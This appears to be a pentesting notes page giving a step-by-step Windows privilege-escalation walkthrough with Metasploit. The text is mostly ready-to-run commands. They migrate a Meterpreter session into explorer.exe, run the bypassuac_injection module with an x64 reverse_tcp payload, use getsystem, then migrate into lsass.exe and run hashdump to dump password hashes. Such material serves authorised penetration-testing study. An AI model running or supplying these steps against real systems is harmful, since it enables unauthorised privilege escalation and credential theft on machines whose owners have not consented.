> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/uac-bypass-memory-injection-metasploit.md). # UAC Bypass: Memory Injection (Metasploit) Checking the current user priviledges ``` getuid sysinfo ```

We can observe that we are running as an admin user. Migrate the process in explorer.exe. First, search for the PID of explorer.exe and use the migrate command to migrate the current process to the explorer process. ``` ps -S explorer.exe migrate 2124 ``` **Please note** the explorer.exe arch is **x64** bit, so later when we perform UAC bypass, we have to use x64 based meterpreter payload.

Elevate to the high privilege: ``` getsystem ```

We can observe that we do not have permission to elevate privileges. Get a windows shell and check if the admin user is a member of the Administrators group. ``` shell net localgroup administrators ```

The admin user is a member of the Administrators group. However, we do not have the high privilege as of now. We can gain high privilege by **Bypassing UAC (User Account Control)**. We are going to bypass UAC using the Metasploit local exploit module. “This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the R**eflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique**. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.” **Source:** \[] Background the current session and use the local exploit for UAC bypass. ``` CTRL + C background ```

Run UAC Bypass In-Memory Injection module. ``` use exploit/windows/local/bypassuac_injection set session 1 set TARGET 1 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit ```

Elevate to the high privilege. ``` getsystem getuid ```

We have successfully gained high privilege access. Dump the user hashes. Migrate in lsass.exe process. ``` ps -S lsass.exe migrate 484 ```

Dump the hashes. ``` hashdump ```

## References * \[] * \[] * \[]